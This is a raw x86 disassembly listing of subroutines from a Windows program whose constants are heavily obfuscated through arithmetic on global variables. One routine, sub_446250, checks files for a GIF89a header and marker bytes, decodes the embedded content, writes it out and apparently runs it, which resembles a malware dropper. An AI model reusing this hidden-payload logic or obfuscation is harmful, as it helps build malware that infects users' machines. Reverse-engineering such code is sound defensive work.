		push	ds:dword_54FB20[edi*4]
		call	ds:dword_4CD948
		movsx	ebx, word_551128
		sub	ebx, 5
		mov	ds:dword_54FB20[edi*4],	ebx


loc_445C38:				; CODE XREF: sub_445B7F+72j
					; sub_445B7F+99j
		lea	eax, [ebp+var_E]
		push	eax
		call	ds:dword_54E964
		mov	[ebp+var_4], eax
		cmp	eax, 3
		jz	short loc_445C8C
		cmp	eax, 4
		jz	short loc_445C8C
		cmp	eax, 2
		jz	short loc_445C8C
		mov	ebx, dword_55124C
		add	ebx, dword_5510E0
		sub	ebx, 0Fh
		cmp	ds:dword_54FB20[edi*4],	ebx
		jz	loc_445D55
		movsx	ebx, word_5510C4
		add	ebx, dword_5511B0
		sub	ebx, 0Dh
		mov	ds:dword_44B5E0[edi*4],	ebx
		jmp	loc_445D55
; ---------------------------------------------------------------------------


loc_445C8C:				; CODE XREF: sub_445B7F+C9j
					; sub_445B7F+CEj ...
		push	1
		call	ds:dword_449FC0
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_E]
		push	eax
		call	ds:dword_44B088
		mov	ebx, dword_5511EC
		sub	ebx, 3
		cmp	eax, ebx
		jnz	short loc_445CE9
		mov	ebx, dword_551134
		sub	ebx, 2
		cmp	ds:dword_54FB20[edi*4],	ebx
		jz	loc_445D55
		mov	ebx, dword_55115C
		add	ebx, dword_551120
		sub	ebx, 0Ch
		mov	ds:dword_44B5E0[edi*4],	ebx
		jmp	short loc_445D55
; ---------------------------------------------------------------------------


loc_445CE9:				; CODE XREF: sub_445B7F+13Aj
		mov	ebx, dword_5510BC
		movsx	edx, word_5510F8
		add	ebx, edx
		sub	ebx, 5
		cmp	ds:dword_54FB20[edi*4],	ebx
		jnz	short loc_445D55
		mov	ds:dword_44B5E0[edi*4],	edi
		lea	eax, [ebp+var_28]
		push	eax
		mov	eax, dword_5510BC
		movsx	edx, word_551190
		add	eax, edx
		sub	eax, 8
		push	eax
		lea	ebx, ds:44B5E0h[edi*4]
		push	ebx
		push	offset sub_43DE1F
		mov	ebx, dword_551100
		add	ebx, dword_5510E8
		sub	ebx, 0Ah
		push	ebx
		mov	ebx, dword_55110C
		sub	ebx, 2
		push	ebx
		call	ds:dword_54FF20
		mov	ds:dword_54FB20[edi*4],	eax


loc_445D55:				; CODE XREF: sub_445B7F+EBj
					; sub_445B7F+108j ...
		inc	edi


loc_445D56:				; CODE XREF: sub_445B7F+2Fj
		cmp	edi, 5Ah
		jbe	loc_445BB3
		mov	eax, dword_5511B0
		sub	eax, 7
		push	eax
		call	ds:dword_50E924
		pop	ecx
		jmp	loc_445BA9
sub_445B7F	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445D7B	proc near		; CODE XREF: sub_445885+50p
					; sub_445885+65p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	[ebp+arg_0]
		push	dword_551278
		call	ds:dword_44B1AC
		mov	edi, eax
		pop	edi
		pop	ebp
		retn
sub_445D7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445D93	proc near		; DATA XREF: .data:off_5512ECo

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		push	offset dword_552A98
		push	esi
		call	ds:dword_50E93C
		or	eax, eax
		jz	short loc_445DBF
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_445E14
; ---------------------------------------------------------------------------


loc_445DBF:				; CODE XREF: sub_445D93+1Aj
		push	offset dword_552A18
		push	esi
		call	ds:dword_50E93C
		or	eax, eax
		jz	short loc_445DDF
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_445E14
; ---------------------------------------------------------------------------


loc_445DDF:				; CODE XREF: sub_445D93+3Aj
		push	offset dword_5529D8
		push	esi
		call	ds:dword_50E93C
		or	eax, eax
		jz	short loc_445DFF
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_445E14
; ---------------------------------------------------------------------------


loc_445DFF:				; CODE XREF: sub_445D93+5Aj
		mov	eax, dword_55120C
		add	eax, dword_551098
		sub	eax, 0Dh
		mov	[edi], eax
		mov	eax, 80004002h


loc_445E14:				; CODE XREF: sub_445D93+2Aj
					; sub_445D93+4Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_445D93	endp


; =============== S U B	R O U T	I N E =======================================



sub_445E1B	proc near		; CODE XREF: sub_446ED7+20p
		push	edi
		push	offset byte_551595
		call	sub_43CAF7
		pop	ecx
		push	eax
		call	ds:dword_44B598
		mov	dword_551270, eax
		movsx	eax, word_5510A8
		cmp	dword_551270, eax
		jnz	short loc_445E59
		push	offset byte_551587
		call	sub_43CAF7
		pop	ecx
		push	eax
		call	ds:dword_48C218
		mov	dword_551270, eax


loc_445E59:				; CODE XREF: sub_445E1B+25j
		mov	eax, dword_551100
		add	eax, dword_5511A0
		sub	eax, 11h
		cmp	dword_551270, eax
		jz	short loc_445E8B
		movsx	eax, word_551164
		add	eax, 4
		push	eax
		push	dword_551270
		call	ds:dword_44B1AC
		mov	ds:dword_448024, eax


loc_445E8B:				; CODE XREF: sub_445E1B+52j
		pop	edi
		retn
sub_445E1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445E8D	proc near		; CODE XREF: sub_43F090+1AAp
					; sub_443843+279p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		inc	esi
		mov	edi, dword_55123C
		add	edi, 1Fh
		mov	eax, esi
		test	eax, eax
		jge	short loc_445EAE
		add	eax, 0FFh


loc_445EAE:				; CODE XREF: sub_445E8D+1Aj
		sar	eax, 8
		mov	ebx, dword_5510C0
		add	ebx, 7
		mov	edx, eax
		imul	edx, ebx
		add	edi, edx
		mov	[ebp+var_8], edi
		mov	edi, dword_551134
		add	edi, 13h
		mov	eax, esi
		test	eax, eax
		jge	short loc_445ED8
		add	eax, 0FFh


loc_445ED8:				; CODE XREF: sub_445E8D+44j
		sar	eax, 8
		movsx	ebx, word_5510F4
		add	ebx, 0Fh
		mov	edx, eax
		imul	edx, ebx
		add	edi, edx
		mov	[ebp+var_C], edi
		mov	edi, dword_5511F4
		add	edi, 18h
		mov	eax, esi
		test	eax, eax
		jge	short loc_445F03
		add	eax, 0FFFFh


loc_445F03:				; CODE XREF: sub_445E8D+6Fj
		sar	eax, 10h
		movsx	ebx, word_551144
		mov	ecx, dword_551180
		lea	ebx, [ebx+ecx+13h]
		mov	edx, eax
		imul	edx, ebx
		add	edi, edx
		mov	[ebp+var_10], edi
		mov	eax, esi
		and	eax, 0FFh
		push	eax
		call	sub_445A22
		mov	ebx, eax
		mov	[ebp+var_11], bl
		mov	eax, esi
		mul	[ebp+var_10]
		mov	[ebp+var_1C], eax
		and	eax, 0FFh
		push	eax
		call	sub_445A22
		mov	ebx, eax
		mov	[ebp+var_12], bl
		mov	eax, esi
		mul	[ebp+var_8]
		mov	[ebp+var_20], eax
		and	eax, 0FFh
		push	eax
		call	sub_445A22
		mov	ebx, eax
		mov	[ebp+var_1], bl
		mov	eax, dword_5510C8
		add	eax, 70h
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_43D23C
		mov	ebx, eax
		mov	[ebp+var_13], bl
		movsx	eax, word_551210
		mov	edx, dword_551124
		lea	eax, [eax+edx+5]
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_43D23C
		mov	ebx, eax
		mov	[ebp+var_14], bl
		mov	eax, dword_551168
		add	eax, 2Dh
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_43D23C
		mov	ebx, eax
		mov	[ebp+var_15], bl
		mov	eax, esi
		mul	[ebp+var_C]
		mov	[ebp+var_24], eax
		and	eax, 0FFh
		push	eax
		call	sub_445A22
		mov	ebx, eax
		mov	[ebp+var_16], bl
		mov	eax, dword_5510C8
		add	eax, 42h
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_445A22
		mov	ebx, eax
		mov	[ebp+var_17], bl
		mov	eax, dword_551204
		add	eax, 45h
		movsx	edx, word_551094
		add	eax, edx
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_43D23C
		add	esp, 24h
		mov	ebx, eax
		mov	[ebp+var_18], bl
		movzx	edi, [ebp+var_1]
		mov	eax, edi
		shr	eax, 1
		movsx	esi, word_5510D0
		add	esi, dword_551174
		sub	esi, 0Bh
		mul	esi
		mov	[ebp+var_28], eax
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_446094
		push	offset byte_55156D
		call	sub_43CAF7
		movzx	edi, [ebp+var_17]
		push	edi
		movzx	edi, [ebp+var_18]
		push	edi
		movzx	edi, [ebp+var_12]
		push	edi
		movzx	edi, [ebp+var_15]
		push	edi
		movzx	edi, [ebp+var_11]
		push	edi
		movzx	edi, [ebp+var_13]
		push	edi
		movzx	edi, [ebp+var_16]
		push	edi
		movzx	edi, [ebp+var_14]
		push	edi
		movzx	edi, [ebp+var_1]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_50E928
		add	esp, 30h
		jmp	short loc_4460D8
; ---------------------------------------------------------------------------


loc_446094:				; CODE XREF: sub_445E8D+1BFj
		push	offset word_551552
		call	sub_43CAF7
		movzx	edi, [ebp+var_17]
		push	edi
		movzx	edi, [ebp+var_18]
		push	edi
		movzx	edi, [ebp+var_12]
		push	edi
		movzx	edi, [ebp+var_15]
		push	edi
		movzx	edi, [ebp+var_11]
		push	edi
		movzx	edi, [ebp+var_13]
		push	edi
		movzx	edi, [ebp+var_16]
		push	edi
		movzx	edi, [ebp+var_14]
		push	edi
		movzx	edi, [ebp+var_1]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_50E928
		add	esp, 30h


loc_4460D8:				; CODE XREF: sub_445E8D+205j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_445E8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4460DD	proc near		; CODE XREF: sub_442408+64p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	ds:dword_48C218
		mov	ebx, eax
		mov	eax, dword_5510EC
		dec	eax
		cmp	ebx, eax
		jz	loc_44624B
		push	offset byte_55154D
		call	sub_43CAF7
		push	eax
		push	ebx
		call	ds:dword_44B1AC
		mov	ds:dword_448008, eax
		push	offset dword_551548
		call	sub_43CAF7
		add	esp, 8
		push	eax
		push	ebx
		call	ds:dword_44B1AC
		mov	ds:dword_449004, eax
		mov	eax, dword_551090
		sub	eax, 4
		cmp	ds:dword_449004, eax
		jz	loc_44624B
		mov	eax, dword_5510A4
		sub	eax, 7
		cmp	ds:dword_448008, eax
		jz	loc_44624B
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ds:dword_449004
		mov	edi, eax
		mov	eax, dword_551200
		add	eax, dword_5511F8
		sub	eax, 2
		cmp	eax, edi
		jnb	short loc_446185
		push	ebx
		call	ds:dword_54FB1C
		jmp	loc_44624B
; ---------------------------------------------------------------------------


loc_446185:				; CODE XREF: sub_4460DD+9Aj
		mov	esi, dword_551114
		add	esi, 0FFFFFFFEh
		mov	eax, dword_5511A0
		mov	edi, eax
		add	edi, dword_551184
		sub	edi, 0Ch
		jmp	short loc_4461CD
; ---------------------------------------------------------------------------


loc_4461A0:				; CODE XREF: sub_4460DD+F6j
		mov	edx, [ebp+var_8]
		cmp	ds:dword_48C220[edi*4],	edx
		jnz	short loc_4461CC
		mov	esi, edi
		mov	edx, [ebp+var_4]
		cmp	ds:dword_4CE920[edi*4],	edx
		jb	short loc_4461CC
		push	ebx
		call	ds:dword_54FB1C
		push	[ebp+arg_0]
		call	ds:dword_44800C
		jmp	short loc_44624B
; ---------------------------------------------------------------------------


loc_4461CC:				; CODE XREF: sub_4460DD+CDj
					; sub_4460DD+DBj
		inc	edi


loc_4461CD:				; CODE XREF: sub_4460DD+C1j
		cmp	edi, dword_5512A4
		jb	short loc_4461A0
		mov	eax, dword_551214
		add	eax, 0FFFFFFFCh
		movsx	edx, word_5510A8
		add	eax, edx
		cmp	esi, eax
		jz	short loc_446217
		push	ds:dword_50E950[esi*4]
		call	ds:dword_54FB1C
		mov	edi, [ebp+var_4]
		mov	ds:dword_4CE920[esi*4],	edi
		mov	edi, ds:dword_448008
		mov	ds:dword_44B9E0[esi*4],	edi
		mov	ds:dword_50E950[esi*4],	ebx
		jmp	short loc_44624B
; ---------------------------------------------------------------------------


loc_446217:				; CODE XREF: sub_4460DD+10Bj
		mov	edi, dword_5512A4
		mov	edx, [ebp+var_8]
		mov	ds:dword_48C220[edi*4],	edx
		mov	ds:dword_50E950[edi*4],	ebx
		mov	ebx, ds:dword_448008
		mov	ds:dword_44B9E0[edi*4],	ebx
		mov	ebx, [ebp+var_4]
		mov	ds:dword_4CE920[edi*4],	ebx
		inc	dword_5512A4


loc_44624B:				; CODE XREF: sub_4460DD+1Bj
					; sub_4460DD+60j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4460DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446250	proc near		; CODE XREF: sub_43FB03+232p
					; sub_43FB03+244p

var_61EA3	= byte ptr -61EA3h
var_61DA8	= dword	ptr -61DA8h
var_61DA4	= dword	ptr -61DA4h
var_61D9E	= byte ptr -61D9Eh
var_61D9D	= byte ptr -61D9Dh
var_61C9E	= byte ptr -61C9Eh
var_61C9D	= byte ptr -61C9Dh
var_61C9C	= dword	ptr -61C9Ch
var_61C98	= byte ptr -61C98h
var_30F58	= dword	ptr -30F58h
var_30F54	= byte ptr -30F54h
var_30E50	= dword	ptr -30E50h
var_30E4C	= dword	ptr -30E4Ch
var_30E48	= dword	ptr -30E48h
var_30E44	= dword	ptr -30E44h
var_30E3F	= byte ptr -30E3Fh
var_30E3E	= byte ptr -30E3Eh
var_30E3D	= byte ptr -30E3Dh
var_30E3C	= byte ptr -30E3Ch
var_30E3B	= byte ptr -30E3Bh
var_30E3A	= byte ptr -30E3Ah
var_30E15	= byte ptr -30E15h
var_30E14	= byte ptr -30E14h
var_30DC5	= byte ptr -30DC5h
var_30DBE	= byte ptr -30DBEh
var_30DBD	= byte ptr -30DBDh
var_30DBC	= byte ptr -30DBCh
var_30D4E	= byte ptr -30D4Eh
var_30D4A	= byte ptr -30D4Ah
var_30D40	= byte ptr -30D40h
var_30D3F	= byte ptr -30D3Fh
var_30D3D	= byte ptr -30D3Dh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 61EA4h
		call	sub_4475B4
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	eax, dword_551180
		movsx	edx, word_551118
		add	eax, edx
		sub	eax, 8
		push	eax
		mov	eax, dword_551114
		dec	eax
		push	eax
		push	3
		mov	eax, dword_5510C8
		dec	eax
		push	eax
		mov	eax, dword_5510E0
		sub	eax, 6
		push	eax
		push	80000000h
		push	[ebp+arg_0]
		call	ds:dword_54FB18
		mov	[ebp+var_30E48], eax
		and	[ebp+var_30F58], 0
		and	[ebp+var_30E50], 0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4467ED
		mov	eax, dword_5510D4
		add	eax, dword_5511EC
		sub	eax, 8
		push	eax
		lea	eax, [ebp+var_30E4C]
		push	eax
		mov	eax, dword_551174
		add	eax, 7Ch
		add	eax, dword_5510EC
		push	eax
		lea	eax, [ebp+var_30E3F]
		push	eax
		push	[ebp+var_30E48]
		call	ds:dword_448034
		mov	[ebp+var_30E44], eax
		mov	eax, dword_5510B0
		movsx	edx, word_551104
		add	eax, edx
		sub	eax, 5
		cmp	[ebp+var_30E44], eax
		jz	loc_4467CF
		cmp	[ebp+var_30E3C], 38h
		jnz	short loc_44632F
		cmp	[ebp+var_30E3B], 39h
		jnz	short loc_44632F
		cmp	[ebp+var_30E3A], 61h
		jz	short loc_446334


loc_44632F:				; CODE XREF: sub_446250+CBj
					; sub_446250+D4j
		jmp	loc_4467CF
; ---------------------------------------------------------------------------


loc_446334:				; CODE XREF: sub_446250+DDj
		cmp	[ebp+var_30E3F], 47h
		jnz	short loc_44634F
		cmp	[ebp+var_30E3E], 49h
		jnz	short loc_44634F
		cmp	[ebp+var_30E3D], 46h
		jz	short loc_446354


loc_44634F:				; CODE XREF: sub_446250+EBj
					; sub_446250+F4j
		jmp	loc_4467CF
; ---------------------------------------------------------------------------


loc_446354:				; CODE XREF: sub_446250+FDj
		movzx	eax, [ebp+var_30E15]
		mov	edx, dword_5511E4
		add	edx, 37h
		cmp	eax, edx
		jnz	short loc_44637A
		cmp	[ebp+var_30DBE], 3Dh
		jnz	short loc_44637A
		cmp	[ebp+var_30DBD], 3Dh
		jz	short loc_44637F


loc_44637A:				; CODE XREF: sub_446250+116j
					; sub_446250+11Fj
		jmp	loc_4467CF
; ---------------------------------------------------------------------------


loc_44637F:				; CODE XREF: sub_446250+128j
		or	ebx, ebx
		jnz	short loc_4463C9
		call	sub_43DB30
		mov	edx, eax
		mov	[ebp+var_61C9E], dl
		mov	al, [ebp+var_30DBC]
		mov	[ebp+var_61C9D], al
		mov	eax, dword_5510BC
		cmp	[ebp+eax+var_30DBC], 40h
		jnz	short loc_4463B7
		mov	[ebp+var_30E50], 1
		jmp	short loc_4463C9
; ---------------------------------------------------------------------------


loc_4463B7:				; CODE XREF: sub_446250+159j
		mov	al, [ebp+var_61C9E]
		cmp	al, [ebp+var_61C9D]
		jz	loc_4467CF


loc_4463C9:				; CODE XREF: sub_446250+131j
					; sub_446250+165j
		mov	eax, dword_5510D8
		sub	eax, 6
		push	eax
		lea	eax, [ebp+var_30E4C]
		push	eax
		push	30D40h
		lea	eax, [ebp+var_61C98]
		push	eax
		push	[ebp+var_30E48]
		call	ds:dword_448034
		mov	[ebp+var_30E44], eax
		mov	eax, dword_5510B0
		sub	eax, 5
		cmp	[ebp+var_30E44], eax
		jz	loc_4467CF
		mov	eax, [ebp+var_30E4C]
		mov	edx, dword_551100
		sub	edx, 9
		mov	[ebp+eax+var_61C98], dl
		push	30D40h
		lea	eax, [ebp+var_30D40]
		push	eax
		lea	eax, [ebp+var_61C98]
		push	eax
		call	sub_446AA8
		add	esp, 0Ch
		mov	esi, eax
		movsx	edi, word_5510CC
		dec	edi
		jmp	short loc_44648D
; ---------------------------------------------------------------------------


loc_446448:				; CODE XREF: sub_446250+23Fj
		or	ebx, ebx
		jz	short loc_44645F
		movzx	eax, [ebp+edi+var_30D40]
		sub	eax, edi
		mov	[ebp+edi+var_30D40], al
		jmp	short loc_44648C
; ---------------------------------------------------------------------------


loc_44645F:				; CODE XREF: sub_446250+1FAj
		movzx	eax, [ebp+edi+var_30D40]
		mov	[ebp+var_61DA4], eax
		mov	eax, edi
		mul	edi
		mov	[ebp+var_61DA8], eax
		mov	eax, [ebp+var_61DA4]
		mov	edx, [ebp+var_61DA8]
		sub	eax, edx
		mov	[ebp+edi+var_30D40], al


loc_44648C:				; CODE XREF: sub_446250+20Dj
		inc	edi


loc_44648D:				; CODE XREF: sub_446250+1F6j
		cmp	edi, esi
		jb	short loc_446448
		or	ebx, ebx
		jz	short loc_4464B8
		movsx	eax, word_5510D0
		sub	eax, 5
		mov	edx, esi
		sub	edx, eax
		mov	eax, dword_551124
		add	eax, dword_551188
		sub	eax, 7
		mov	[ebp+edx+var_30D40], al


loc_4464B8:				; CODE XREF: sub_446250+243j
		mov	eax, dword_551110
		mov	edx, dword_551168
		add	edx, dword_551178
		sub	edx, 0Bh
		mov	[ebp+eax+var_30DC5], dl
		push	0FFh
		lea	eax, [ebp+var_61D9D]
		push	eax
		lea	eax, [ebp+var_30E14]
		push	eax
		call	sub_446AA8
		lea	eax, [ebp+var_61D9D]
		push	eax
		push	esi
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_43D3AD
		add	esp, 18h
		mov	[ebp+var_30E44], eax
		mov	eax, dword_5511C8
		movsx	edx, word_551198
		add	eax, edx
		sub	eax, 9
		cmp	[ebp+var_30E44], eax
		jnz	loc_4467CF
		mov	[ebp+var_30F58], 1
		or	ebx, ebx
		jz	loc_446677
		mov	eax, dword_5511D0
		add	eax, dword_5511F8
		cmp	[ebp+eax+var_30D4A], 64h
		jnz	loc_4465E5
		movzx	eax, [ebp+var_30D3F]
		movsx	edx, word_551164
		add	edx, 1Fh
		sub	eax, edx
		mov	[ebp+var_61D9E], al
		movzx	eax, [ebp+var_61D9E]
		push	eax
		mov	eax, dword_5510B0
		add	eax, dword_551204
		sub	eax, 7
		push	eax
		call	sub_43F090
		mov	eax, dword_551234
		movsx	edx, word_5511A4
		add	eax, edx
		sub	eax, 0Eh
		mov	ds:dword_44B5D0, eax
		mov	eax, dword_5511FC
		mov	dword_5512A0, eax
		mov	eax, dword_5511D0
		add	eax, dword_551110
		movsx	edx, word_551210
		add	edx, dword_55117C
		sub	edx, 0Ch
		mov	[ebp+eax+var_30D4E], dl
		mov	eax, dword_5511AC
		add	eax, dword_551150
		sub	eax, 5
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_446D68
		add	esp, 10h


loc_4465E5:				; CODE XREF: sub_446250+2FAj
		mov	eax, dword_5510BC
		cmp	[ebp+eax+var_30D40], 67h
		jnz	loc_4467CF
		mov	eax, dword_5510A4
		mov	edx, dword_5511EC
		movsx	ecx, word_5510A8
		add	edx, ecx
		sub	edx, 3
		mov	[ebp+eax+var_30D3D], dl
		lea	eax, [ebp+var_30D3F]
		push	eax
		call	ds:dword_44901C
		mov	[ebp+var_61DA4], eax
		push	eax
		push	offset dword_54E970
		call	sub_445E8D
		mov	eax, dword_5511D4
		add	eax, dword_5511EC
		sub	eax, 0Bh
		mov	ds:dword_44B5D0, eax
		mov	eax, dword_5510A0
		add	eax, dword_5511C8
		sub	eax, 0Bh
		mov	dword_5512A0, eax
		mov	eax, dword_551120
		sub	eax, 7
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_446D68
		add	esp, 14h
		jmp	loc_4467CF
; ---------------------------------------------------------------------------


loc_446677:				; CODE XREF: sub_446250+2E1j
		cmp	[ebp+var_30E50], 0
		jz	short loc_4466F7
		call	ds:dword_54EA70
		mov	[ebp+var_61DA4], eax
		push	offset asc_551539 ; "\v"
		call	sub_43CAF7
		push	[ebp+var_61DA4]
		mov	edx, dword_5510A4
		dec	edx
		push	edx
		push	eax
		lea	edx, [ebp+var_61EA3]
		push	edx
		call	ds:dword_50E928
		lea	eax, [ebp+var_30F54]
		push	eax
		movsx	eax, word_551094
		sub	eax, 2
		push	eax
		mov	eax, dword_551214
		sub	eax, 3
		push	eax
		push	1Ch
		movsx	eax, word_551194
		dec	eax
		push	eax
		call	ds:dword_48BA00
		lea	eax, [ebp+var_61EA3]
		push	eax
		lea	eax, [ebp+var_30F54]
		push	eax
		call	ds:dword_44802C
		add	esp, 1Ch
		jmp	short loc_446725
; ---------------------------------------------------------------------------


loc_4466F7:				; CODE XREF: sub_446250+42Ej
		mov	eax, dword_551120
		dec	eax
		push	eax
		lea	eax, [ebp+var_30F54]
		push	eax
		call	sub_43EDF9
		push	offset byte_551531
		call	sub_43CAF7
		push	eax
		lea	edx, [ebp+var_30F54]
		push	edx
		call	ds:dword_44802C
		add	esp, 14h


loc_446725:				; CODE XREF: sub_446250+4A5j
		mov	eax, dword_551120
		sub	eax, 8
		push	eax
		push	80h
		push	2
		movsx	eax, word_55109C
		add	eax, dword_5511AC
		sub	eax, 8
		push	eax
		movsx	eax, word_5511CC
		sub	eax, 9
		push	eax
		push	40000000h
		lea	eax, [ebp+var_30F54]
		push	eax
		call	ds:dword_54FB18
		mov	[ebp+var_61C9C], eax
		mov	eax, dword_55122C
		movsx	edx, word_551240
		add	eax, edx
		sub	eax, 0Fh
		push	eax
		lea	eax, [ebp+var_30E4C]
		push	eax
		push	esi
		lea	eax, [ebp+var_30D40]
		push	eax
		push	[ebp+var_61C9C]
		call	ds:dword_54FF1C
		push	[ebp+var_61C9C]
		call	ds:dword_4CD948
		cmp	[ebp+var_30E50], 0
		jnz	short loc_4467CA
		push	5
		lea	eax, [ebp+var_30F54]
		push	eax
		call	ds:dword_44B094
		movzx	eax, [ebp+var_61C9D]
		push	eax
		call	sub_43DD8A
		pop	ecx
		jmp	short loc_4467CF
; ---------------------------------------------------------------------------


loc_4467CA:				; CODE XREF: sub_446250+559j
		call	sub_43E501


loc_4467CF:				; CODE XREF: sub_446250+BEj
					; sub_446250:loc_44632Fj ...
		push	[ebp+var_30E48]
		call	ds:dword_4CD948
		cmp	[ebp+var_30F58], 0
		jz	short loc_4467ED
		push	[ebp+arg_0]
		call	ds:dword_44800C


loc_4467ED:				; CODE XREF: sub_446250+63j
					; sub_446250+592j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_446250	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4467F2	proc near		; DATA XREF: sub_443843+190o
		push	ebp
		mov	ebp, esp


loc_4467F5:				; CODE XREF: sub_4467F2+41j
		movsx	eax, word_551208
		movsx	edx, word_5511CC
		add	eax, edx
		sub	eax, 0Ah
		push	eax
		call	ds:dword_50E924
		pop	ecx
		mov	eax, dword_55114C
		add	eax, dword_551100
		sub	eax, 0Bh
		push	eax
		push	offset sub_43DA83
		mov	eax, dword_5510A4
		sub	eax, 7
		push	eax
		call	ds:dword_449010
		jmp	short loc_4467F5
sub_4467F2	endp

; ---------------------------------------------------------------------------
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446839	proc near		; CODE XREF: sub_446ED7+33Fp

var_10034	= byte ptr -10034h
var_10030	= dword	ptr -10030h
var_1002B	= byte ptr -1002Bh
var_2C		= byte ptr -2Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 10030h
		call	sub_4475B4
		push	ebx
		push	esi
		push	edi
		movsx	eax, word_5511C4
		sub	eax, 8
		cmp	ds:dword_449FC4, eax
		jz	loc_446AA3
		mov	eax, dword_551140
		add	eax, dword_551100
		sub	eax, 0Ah
		push	eax
		push	dword_551180
		mov	eax, dword_551174
		sub	eax, 7
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ds:dword_449FC4
		mov	ebx, eax
		mov	eax, dword_55120C
		movsx	edx, word_551094
		add	eax, edx
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_446AA3
		lea	eax, [ebp+var_18]
		push	eax
		movsx	eax, word_551198
		add	eax, dword_5511EC
		sub	eax, 4
		push	eax
		mov	eax, dword_551100
		sub	eax, 9
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		movsx	eax, word_551144
		movsx	edx, word_5510B4
		add	eax, edx
		sub	eax, 9
		cmp	ebx, eax
		jnz	loc_446A8F


loc_4468E6:				; CODE XREF: sub_446839+128j
					; sub_446839+15Ej
		movsx	eax, word_5510C4
		sub	eax, 6
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		movsx	eax, word_5510F8
		sub	eax, 4
		push	eax
		mov	eax, [ebp+var_18]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	ebx, eax
		mov	eax, dword_5510C0
		movsx	edx, word_5511F0
		add	eax, edx
		sub	eax, 8
		cmp	ebx, eax
		jnz	loc_446A57
		lea	eax, [ebp+var_1C]
		push	eax
		movsx	eax, word_5511A4
		sub	eax, 6
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, dword_5511C8
		add	eax, dword_551204
		sub	eax, 0Ah
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+3Ch]
		mov	ebx, eax
		mov	eax, dword_5511F8
		add	eax, dword_5510DC
		sub	eax, 7
		cmp	ebx, eax
		jnz	short loc_4468E6


